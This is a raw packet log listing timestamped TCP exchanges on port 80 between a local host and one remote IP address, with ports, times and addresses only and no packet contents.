May 6, 2024 02:52:48.372302055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.372355938 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.372368097 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.372406960 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.372510910 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.372548103 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.372879982 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.372894049 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.372941017 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.373100042 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.373150110 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.373574018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.373734951 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.373894930 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.373948097 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.374311924 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.374361038 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.374476910 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.374526024 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.374607086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.374654055 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.375276089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.375323057 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.375504971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.375551939 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.375631094 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.375677109 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.375767946 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.375813961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.408143044 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.408193111 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.411573887 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.411622047 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.411772966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.411823034 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.411956072 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.412002087 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.413557053 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.413569927 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.413602114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.413620949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.414457083 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.414508104 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.414624929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.414669991 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.414912939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.414959908 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.415158987 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.415204048 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.415364027 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.415409088 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.415815115 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.415828943 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.415863037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.415873051 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.416733980 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.416747093 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.416783094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.416847944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.416893005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.417268991 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.417311907 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.417772055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.417819977 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.417886019 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.417936087 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.418025017 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.679505110 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.680207968 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.938493013 CEST	80	49711	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.938615084 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.938824892 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.239479065 CEST	80	49711	31.41.44.147	192.168.2.6
May 6, 2024 02:52:49.305387020 CEST	80	49711	31.41.44.147	192.168.2.6
May 6, 2024 02:52:49.305444956 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.305527925 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.305588007 CEST	80	49711	31.41.44.147	192.168.2.6
May 6, 2024 02:52:49.305635929 CEST	49711	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.409368992 CEST	49712	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.564049006 CEST	80	49711	31.41.44.147	192.168.2.6
May 6, 2024 02:52:49.663688898 CEST	80	49712	31.41.44.147	192.168.2.6
May 6, 2024 02:52:49.663794041 CEST	49712	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.664001942 CEST	49712	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:49.963440895 CEST	80	49712	31.41.44.147	192.168.2.6
May 6, 2024 02:52:50.015741110 CEST	80	49712	31.41.44.147	192.168.2.6
May 6, 2024 02:52:50.015851021 CEST	49712	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:50.015945911 CEST	49712	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:50.269824982 CEST	80	49712	31.41.44.147	192.168.2.6
May 6, 2024 02:52:50.564332962 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:50.818257093 CEST	80	49713	31.41.44.147	192.168.2.6
May 6, 2024 02:52:50.818424940 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:50.818631887 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.115423918 CEST	80	49713	31.41.44.147	192.168.2.6
May 6, 2024 02:52:51.165544033 CEST	80	49713	31.41.44.147	192.168.2.6
May 6, 2024 02:52:51.165556908 CEST	80	49713	31.41.44.147	192.168.2.6
May 6, 2024 02:52:51.165605068 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.165620089 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.165730953 CEST	49713	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.418873072 CEST	80	49713	31.41.44.147	192.168.2.6
May 6, 2024 02:52:51.520555019 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.783833027 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:51.783950090 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:51.784328938 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.087500095 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.140475035 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.140535116 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.140561104 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.140583992 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.140680075 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.140696049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.140722036 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.140743017 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.141066074 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.141110897 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.141237974 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.141280890 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.141820908 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.141836882 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.141866922 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.141885996 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.228225946 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.228318930 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.228322029 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.228368998 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404004097 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404082060 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404140949 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404154062 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404196978 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404215097 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404227972 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404238939 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404246092 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404253006 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404264927 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404277086 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404278994 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404289961 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404321909 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404323101 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404335976 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404347897 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404355049 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404357910 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404395103 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404397011 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404408932 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.404436111 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.404472113 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.490814924 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.490873098 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.490895033 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.490900040 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.490912914 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.490923882 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.490953922 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.666629076 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.666642904 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.666728020 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.666857004 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.666887999 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.666899920 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.666940928 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.666995049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667009115 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667021990 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667033911 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667033911 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667047024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667062044 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667093992 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667113066 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667125940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667165041 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667184114 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667237997 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667249918 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667259932 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667270899 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667273998 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667283058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667295933 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667299986 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667313099 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667324066 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667336941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667344093 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667349100 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667361975 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667366028 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667373896 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667387009 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667395115 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667399883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667414904 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667438030 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667465925 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667505980 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667524099 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667587042 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667589903 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667602062 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667613983 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667624950 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667624950 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667638063 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.667649031 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.667682886 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753652096 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753668070 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753724098 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753729105 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753748894 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753773928 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753773928 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753787994 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753801107 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753810883 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753813982 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753839970 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753856897 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.753879070 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.753915071 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929604053 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929621935 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929635048 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929647923 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929660082 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929673910 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929686069 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929692984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929747105 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929784060 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929796934 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929809093 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929826021 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929867029 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929905891 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929918051 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929944038 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929950953 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.929956913 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929968119 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929980993 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.929986000 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930032015 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930046082 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930088043 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930094004 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930105925 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930135012 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930144072 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930156946 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930156946 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930177927 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930198908 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930205107 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930211067 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930222988 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930236101 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930238008 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930248976 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930259943 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930272102 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930299044 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930332899 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930377960 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930408001 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930419922 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930421114 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930452108 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930465937 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930485010 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930496931 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930507898 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930520058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930527925 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930547953 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930561066 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930573940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930583954 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930587053 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930624008 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930704117 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930716038 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930758953 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930793047 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930805922 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930816889 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930830002 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930835009 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930841923 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930854082 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930866957 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930886984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930911064 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930923939 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930931091 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930936098 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930948019 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930953979 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.930959940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930974007 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930995941 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.930999994 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931008101 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931020021 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931030989 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931041002 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931045055 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931054115 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931065083 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931080103 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931080103 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931092024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931103945 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931116104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931117058 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931128025 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:52.931138039 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931162119 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:52.931185961 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016343117 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016356945 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016374111 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016386986 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016408920 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016454935 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016485929 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016499043 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016527891 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016551018 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016556978 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016561985 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016566038 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016566992 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016572952 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016586065 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016604900 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016608953 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016647100 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016658068 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016669989 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016685963 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.016700029 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.016731024 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197479963 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197567940 CEST	80	49714	31.41.44.147	192.168.2.6
